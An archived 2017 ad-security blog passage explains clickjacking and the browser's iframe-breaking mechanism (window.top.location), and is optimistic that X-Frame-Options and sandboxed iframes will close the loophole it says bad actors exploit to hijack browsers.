Clickjacking is a “UI redress” tactic whereby an attacker can arrange a malicious site in such a way that a visitor’s clicks actually land on a hidden element that they might not be aware about. What if that element is an iframed banking website that the user is authenticated on? What if the click lands on the “send now” button to transfer some funds away? It’s for this reason that websites need an ability to break out of iframes, and the mechanism by which they do so is window.top.location.

Yes, the irony should not be lost on us that the very vehicle that allows bad actors to hijack your browser is in fact a mis-appropriation of a security feature — but does this mean we’re doomed forever?

I’m actually quite optimistic that this loophole will become deprecated as browser security evolves and becomes standardized. We are already well under way with things like X-Frame-Options and Sandboxed Iframes, but until these things find ubiquitous adoption and ad-tech catches up to perform equally in sandboxed placements, the game of whack-a-mole with the bad actors will carry on.

Archive: This article was originally published on the Confiant Medium blog on October 30, 2017